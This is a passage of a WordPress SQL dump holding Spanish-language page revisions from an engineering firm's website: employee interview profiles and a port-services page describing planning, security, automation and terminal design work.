06:11:09','',1517,'http://moffattnichol.com/spanish/1517-revision-3/',0,'revision','',0),(2762,1,'2013-01-09 06:11:33','2013-01-09 06:11:33','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Gerry.jpg\" alt=\"\" title=\"Gerry\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1518\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Gerry</strong>\r\nVicepresidente, Jefe de especialidad de cimentaciones profundas \r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol? </strong>\r\nMe uní a la compañía en 1998\r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nPor asociación anterior con Moffatt & Nichol Engineers\r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía? </strong>\r\nLa variedad del trabajo que hacemos y la personalidad de la firma.\r\n\r\n<strong>¿Qué puesto tenía cuando comenzó? </strong>\r\nIngeniero de diseño de cimentaciones para el puente de la bahía de Oakland, San Francisco.\r\n\r\n<strong>¿En qué tipo de proyectos trabaja o ha trabajado?</strong>\r\n- Cimentaciones de puentes\r\n- Estudios y diseños de terminales marítimas \r\n- Cimentaciones y subestructuras de turbinas eólicas\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha aumentado de tamaño desde cerca de 300 personas a más de 500, se ha expandido geográficamente, ha ampliado sus especialidades a seis áreas y ha implementado un comité de operaciones que está separado de la Junta Directiva\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia? </strong>\r\nLa compañía ofrece una amplia gama de capacidades, la individualidad de los empleados y la buena voluntad de las oficinas para compartir el trabajo y la experiencia profesional, y una estructura corporativa que no es demasiado formal.\r\n\r\n</p>\r\n','Gerry','<p class=\"para-text\">\r\n<strong>Gerry</strong>\r\nVicepresidente, Jefe de especialidad de cimentaciones profundas \r\n\r\n<strong>Â¿CuÃ¡nto tiempo ha trabajado con Moffatt & Nichol? </strong>\r\nMe unÃ a la compaÃ±Ãa en 1998\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nPor asociaciÃ³n anterior con Moffatt & Nichol Engineers</p>','inherit','open','open','','1517-revision-4','','','2013-01-09 06:11:33','2013-01-09 06:11:33','',1517,'http://moffattnichol.com/spanish/1517-revision-4/',0,'revision','',0),(2763,1,'2012-09-06 09:52:02','2012-09-06 09:52:02','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\" alt=\"\" title=\"Loraine\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1515\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Loraine</strong>\r\nIngeniera principal de proyectos \r\n\r\n<strong>¿Cómo llegó a la compañí</strong>a? Fui recomendada por un amigo que me informó que Moffatt & Nichol estaba enfocándose en el mercado latinoamericano. Pensé que esta podría ser una asignación emocionante y una gran oportunidad de crecimiento profesional.\r\n\r\n<strong>¿Qué le ha mantenido con la compañía?</strong>\r\nPuedo trabajar en una variedad de ambiciosos proyectos y también tener la oportunidad de asumir más responsabilidad.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nYa que esta era una nueva oficina en una nueva región, inicialmente pasé mucho tiempo en licitaciones, buscando trabajo. Desde entonces hemos ganado algunos proyectos muy variados que estoy manejando actualmente.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado? </strong>\r\nHe trabajado en diferentes instalaciones marítimas; a saber, terminales de carga seca a granel, terminales de contenedores, terminales de carga líquida a granel y puertos deportivos. Nuestra área de competencia ha abarcado desde estudios de mercado hasta la selección del lugar, desarrollo de concepto, estudios costeros, simulaciones de navegación, ingeniería básica e ingeniería de detalle.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nA pesar de estar dispersas por el mundo, las oficinas de Moffatt & Nichol trabajan juntas como un equipo unido. Es un ambiente muy amigable de trabajo, con el personal de todas las oficinas ayudándose entre sí de forma cotidiana.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha aumentado de tamaño desde cerca de 300 personas a más de 500, se ha expandido geográficamente, ha ampliado sus especialidades a seis áreas y ha implementado un comité de operaciones que está separado de la Junta Directiva\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nDebido a que tengo la oportunidad de trabajar en una variedad de proyectos, siento que me formado mejor como ingeniera. \r\n</p>\r\n','Loraine ','<p class=\"para-text\">\r\n<strong>Loraine</strong>\r\nIngeniera principal de proyectos \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ã</strong>a? Fui recomendada por un amigo que me informÃ³ que Moffatt & Nichol estaba enfocÃ¡ndose en el mercado latinoamericano. PensÃ© que esta podrÃa ser una asignaciÃ³n emocionante y una gran oportunidad de crecimiento profesional.\r\n\r\n<strong>Â¿QuÃ© le ha mantenido con la compaÃ±Ãa?</strong>\r\nPuedo trabajar en una variedad de ambiciosos proyectos y tambiÃ©n tener la oportunidad de asumir mÃ¡s responsabilidad.\r\n\r\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\r\n</p>','inherit','open','open','','1514-revision-2','','','2012-09-06 09:52:02','2012-09-06 09:52:02','',1514,'http://moffattnichol.com/spanish/1514-revision-2/',0,'revision','',0),(2764,1,'2013-01-09 06:13:03','2013-01-09 06:13:03','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Loraine.jpg\" alt=\"\" title=\"Loraine\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1515\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Loraine</strong>\r\nIngeniera principal de proyectos \r\n\r\n<strong>¿Cómo llegó a la compañía? </strong>\r\n Fui recomendada por un amigo que me informó que Moffatt & Nichol estaba enfocándose en el mercado latinoamericano. Pensé que esta podría ser una asignación emocionante y una gran oportunidad de crecimiento profesional.\r\n\r\n<strong>¿Qué le ha mantenido con la compañía?</strong>\r\nPuedo trabajar en una variedad de ambiciosos proyectos y también tener la oportunidad de asumir más responsabilidad.\r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nYa que esta era una nueva oficina en una nueva región, inicialmente pasé mucho tiempo en licitaciones, buscando trabajo. Desde entonces hemos ganado algunos proyectos muy variados que estoy manejando actualmente.\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado? </strong>\r\nHe trabajado en diferentes instalaciones marítimas; a saber, terminales de carga seca a granel, terminales de contenedores, terminales de carga líquida a granel y puertos deportivos. Nuestra área de competencia ha abarcado desde estudios de mercado hasta la selección del lugar, desarrollo de concepto, estudios costeros, simulaciones de navegación, ingeniería básica e ingeniería de detalle.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nA pesar de estar dispersas por el mundo, las oficinas de Moffatt & Nichol trabajan juntas como un equipo unido. Es un ambiente muy amigable de trabajo, con el personal de todas las oficinas ayudándose entre sí de forma cotidiana.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó? </strong>\r\nLa compañía ha aumentado de tamaño desde cerca de 300 personas a más de 500, se ha expandido geográficamente, ha ampliado sus especialidades a seis áreas y ha implementado un comité de operaciones que está separado de la Junta Directiva\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nDebido a que tengo la oportunidad de trabajar en una variedad de proyectos, siento que me formado mejor como ingeniera. \r\n</p>\r\n','Loraine ','<p class=\"para-text\">\r\n<strong>Loraine</strong>\r\nIngeniera principal de proyectos \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ã</strong>a? Fui recomendada por un amigo que me informÃ³ que Moffatt & Nichol estaba enfocÃ¡ndose en el mercado latinoamericano. PensÃ© que esta podrÃa ser una asignaciÃ³n emocionante y una gran oportunidad de crecimiento profesional.\r\n\r\n<strong>Â¿QuÃ© le ha mantenido con la compaÃ±Ãa?</strong>\r\nPuedo trabajar en una variedad de ambiciosos proyectos y tambiÃ©n tener la oportunidad de asumir mÃ¡s responsabilidad.\r\n\r\n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\r\n</p>','inherit','open','open','','1514-revision-3','','','2013-01-09 06:13:03','2013-01-09 06:13:03','',1514,'http://moffattnichol.com/spanish/1514-revision-3/',0,'revision','',0),(2765,1,'2012-09-06 10:03:28','2012-09-06 10:03:28','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor.jpg\" alt=\"\" title=\"victor\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1525\" /></a>\r\n\r\n<strong>Victor</strong>\r\nTécnico en CADD civil \r\n\r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nHe permanecido con la firma durante tanto tiempo porque el trabajo es estimulante y las personas son excelentes.\r\n\r\n<strong>¿Qué puesto tenía cuando comenzó?</strong>\r\nComencé como técnico CADD civil \r\n\r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nHe progresado desde ser un técnico a ser coordinador de red interino y encargado de CADD para la oficina de San Diego\r\n\r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nHe trabajado en varios proyectos de dragado y algunos proyectos civiles\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nAfortunadamente, la compañía no ha cambiado mucho desde que he estado aquí, y estoy agradecido por eso.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nVeo mi ambiente como un negocio familiar; nos llevamos bien para un propósito común.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nPoder hacer las cosas que me gusta hacer en un ambiente que me lo permita, me da mucha satisfacción.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>? Muchas compañías hacen un trabajo igual o similar al de Moffatt & Nichol, pero creo que el ambiente de trabajo aquí nos hace muy superiores a otras compañías\r\n</p>','Victor ','<p class=\"para-text\">\r\n<strong>Victor</strong>\r\nTÃ©cnico en CADD civil \r\n\r\n<strong>Â¿Cuanto tiempo ha trabajado con la firma?</strong>\r\nHe estado con Moffatt & Nichol por tres excelentes aÃ±os.\r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a Moffatt & Nichol?</strong>\r\nColoquÃ© mi CV en lÃnea en monster.com, y Dave Lowy, reclutador interno de Moffatt & Nichol, me encontrÃ³ y me mostrÃ³ que la firma era el lugar ideal para mÃ.</p>','inherit','open','open','','1524-revision-2','','','2012-09-06 10:03:28','2012-09-06 10:03:28','',1524,'http://moffattnichol.com/spanish/1524-revision-2/',0,'revision','',0),(2766,1,'2012-06-15 05:05:25','2012-06-15 05:05:25','<div class=\"content_faq\">\r\n <h3>servicios portuarios</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la debida diligencia comercial para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">planeamiento portuario</h1>\r\nMoffatt & Nichol entiende la naturaleza dinámica del negocio de terminales de contenedores y por lo tanto la necesidad de flexibilidad y capacidad de ampliación operativas y del acceso optimizado a la terminal que se adapta a la tecnología más reciente durante su vida económica. Moffatt & Nichol es reconocido internacionalmente como líder e innovador en el planeamiento y diseño de puertos y terminales marítimas y su compleja infraestructura de apoyo.\r\n\r\nMoffatt & Nichol es la única firma en Norteamérica que ofrece un equipo interno completamente integrado que puede manejar cada aspecto del desarrollo de un puerto de contenedores, desde el pronóstico de carga hasta el diseño de una nueva terminal y su construcción y puesta en funcionamiento. Moffatt & Nichol ha manejado el planeamiento, diseño y construcción de más de 100 terminales de contenedores, incluyendo terminales automatizadas a nivel mundial, y algunos de los mayores proyectos de infraestructura de transporte de Norteamérica. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/managment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">gestión de la construcción</h1>\r\nMoffatt & Nichol proporciona servicios de supervisión e inspección de la construcción; la firma tiene un grupo central de veteranos profesionales de la construcción con la experiencia para actuar como una extensión del personal de nuestros clientes para apoyar toda la diversidad de situaciones con que se pueden encontrar durante la ejecución de los proyectos. Creemos que la gestión de la construcción no comienza con el aviso al contratista para proceder, sino con el planeamiento inicial del programa, el desarrollo del diseño del proyecto, y la estrategia completa para la factibilidad de la construcción. Nuestros inspectores han proporcionado una pauta permanente con respecto de las operaciones y el mantenimiento, una respuesta rápida a los problemas de ingeniería durante la construcción y una supervisión de la gestión y del control de la calidad de la construcción, y garantizan que la construcción se realice estrictamente de acuerdo con los planos de diseño y las especificaciones técnicas. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/marine-structure.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">estructuras marítimas</h1>\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima. Desde la llegada de la contenedorización hasta las complejas tendencias del movimiento de mercancías y las regulaciones medioambientales de hoy en día, la firma ofrece capacidades integradas internas para apoyar prácticamente cualquier tarea portuaria, marítima o de transporte de carga en todo el mundo. Desde sus oficinas y centros especializados en Norteamérica, Europa y América latina, Moffatt & Nichol puede hacerse cargo de un proyecto desde el análisis conceptual y estudio de factibilidad hasta el planeamiento, el diseño y la construcción marítima. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-security.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">seguridad portuaria</h1>\r\n Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional de los EE.UU., la firma está mejorando activamente la conciencia del dominio portuario y marítimo al proporcionar sistemas de seguridad avanzados. La clave para proporcionar soluciones correctas es equilibrar la seguridad personal y la protección de infraestructura crítica con la continuidad del puerto y las operaciones portuarias comerciales. En consecuencia, Moffatt & Nichol desarrolla e implementa enfoques novedosos que unifican los objetivos de seguridad con el flujo eficiente del comercio. Nuestras soluciones integrales relacionadas con la seguridad son adaptadas para las partes interesadas regionales, autoridades portuarias, operadores de terminales y personal de respuesta relacionado con la seguridad en todo el mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-automation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">automatización portuaria</h1>\r\nCon décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas en todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas y la compleja infraestructura de apoyo al movimiento de carga terrestre y de contenedores hoy en día.\r\n \r\nEl desarrollo de una terminal de contenedores automatizada partiendo desde cero es una posibilidad desafiante. Requiere una comprensión de aspectos críticos tales como espacio y logística disponibles, configuraciones del terreno, selección del equipo, interfaz de los sistemas de operación, políticas y regulaciones gubernamentales, prácticas laborales, restricciones medioambientales y limitaciones de capacidad. El equipo de profesionales de Moffatt & Nichol incluye a importantes expertos de la industria que tienen una experiencia inigualable en el desarrollo de terminales de contenedores. Ellos aplican su experiencia y conocimientos para desarrollar terminales de contenedores modernas, flexibles y avanzadas que resistirán el paso del tiempo.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fery-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de instalaciones relacionadas con transbordadores en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de los terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a los miembros de la comunidad marítima, el sector gubernamental, el sector de logística intermodal y la comunidad inversora por igual.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/bulk-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">terminales de graneles</h1>\r\nMoffatt & Nichol ofrece a sus clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel. Nuestras especializaciones incluyen el desarrollo de análisis financieros, estudios de factibilidad, planes maestros, documentos de diseño en detalle y la gestión y apoyo de la construcción para una variedad de instalaciones como atracaderos, espigones y áreas de carga y descarga hasta sistemas de almacenamiento y transferencia, así como redes de transporte interior. Nuestra cartera de proyectos incluye terminales e instalaciones que manejan carbón, menas, concentrados minerales, fertilizantes, granos y otros productos agrícolas, agregados de construcción, maderas, graneles líquidos y otros materiales a granel. Al combinar nuestra experiencia marítima con el conocimiento específico de la tecnología y el equipo de manipulación de graneles, Moffatt & Nichol puede dar apoyo a nuestros clientes con la infraestructura y las operaciones más eficientes, al mismo tiempo que maximizamos su funcionamiento. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/gate-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">planeamiento y diseño de compuertas</h1>\r\nLa gran experiencia de Moffatt & Nichol en seguridad de terminales marítimas y diseño de compuertas permite que nuestro equipo entienda completamente los problemas asociados con los proyectos de compuertas de seguridad. Aunque haya muchas firmas que pueden proporcionar servicios de diseño de compuertas, solo hay unas cuantas que pueden jactarse de la combinación de experiencia en diseño de compuertas, familiaridad con protocolos de seguridad actuales y conocimiento de los estándares y especificaciones privados y gubernamentales de construcción. Moffatt & Nichol goza de reputación mundial por la amplitud y profundidad de su experiencia con proyectos de compuertas y de seguridad.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fedring.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">análisis de defensas</h1>\r\nMoffatt & Nichol ha completado muchas evaluaciones y diseños de sistemas de defensa para muelles, dársenas, muros de retención, defensas de puentes, etc. para diferentes clientes que incluyen la Guardia costera de EE.UU., la Marina de EE.UU., autoridades portuarias y compañías navieras privadas. Nuestra especialización en sistemas de amarre y sistemas de defensa hizo que Moffatt & Nichol sea elegido para escribir los manuales de diseño de la Marina de EE.UU. para los amarres fijos (NAVFAC DM 26.4) y los amarres de flota (NAVFAC DM 26.5). Moffatt & Nichol realiza rutinariamente análisis de amarres y atraques estáticos y dinámicos para toda clase de amarres y tamaños de buques como parte de nuestra práctica portuaria.\r\n      \r\nMoffatt & Nichol reconoce que el sistema de defensa es la interfaz entre la nave y las instalaciones en la costa. El sistema de defensa está diseñado para actuar como un amortiguador durante el atraque de una nave absorbiendo o disipando la energía del impacto de la nave sin causar daños permanentes a la nave ni a las instalaciones en la costa. Después de atracar y amarrar la nave a las instalaciones de la costa, el sistema de defensa continúa proporcionando la interfaz entre la nave y la costa y transmite las cargas medioambientales (viento, olas y corrientes) en la nave a la estructura. La identificación de la magnitud y dirección de las fuerzas que se utilizarán en el diseño del sistema de defensa es crítica para el funcionamiento correcto del sistema.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/vesel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés). Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados. Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto. Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Servicios portuarios','','inherit','open','open','','357-revision-5','','','2012-06-15 05:05:25','2012-06-15 05:05:25','',357,'http://moffattnichol.com/spanish/357-revision-5/',0,'revision','',0),(2767,1,'2013-01-09 06:23:06','2013-01-09 06:23:06','<div class=\"content_faq\">\r\n <h3>servicios portuarios</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la debida diligencia comercial para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">planeamiento portuario</h1>\r\nMoffatt & Nichol entiende la naturaleza dinámica del negocio de terminales de contenedores y por lo tanto la necesidad de flexibilidad y capacidad de ampliación operativas y del acceso optimizado a la terminal que se adapta a la tecnología más reciente durante su vida económica. Moffatt & Nichol es reconocido internacionalmente como líder e innovador en el planeamiento y diseño de puertos y terminales marítimas y su compleja infraestructura de apoyo.\r\n\r\nMoffatt & Nichol es la única firma en Norteamérica que ofrece un equipo interno completamente integrado que puede manejar cada aspecto del desarrollo de un puerto de contenedores, desde el pronóstico de carga hasta el diseño de una nueva terminal y su construcción y puesta en funcionamiento. Moffatt & Nichol ha manejado el planeamiento, diseño y construcción de más de 100 terminales de contenedores, incluyendo terminales automatizadas a nivel mundial, y algunos de los mayores proyectos de infraestructura de transporte de Norteamérica. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/managment.jpg\" /></div>\r\n    </div>\r\n    <div 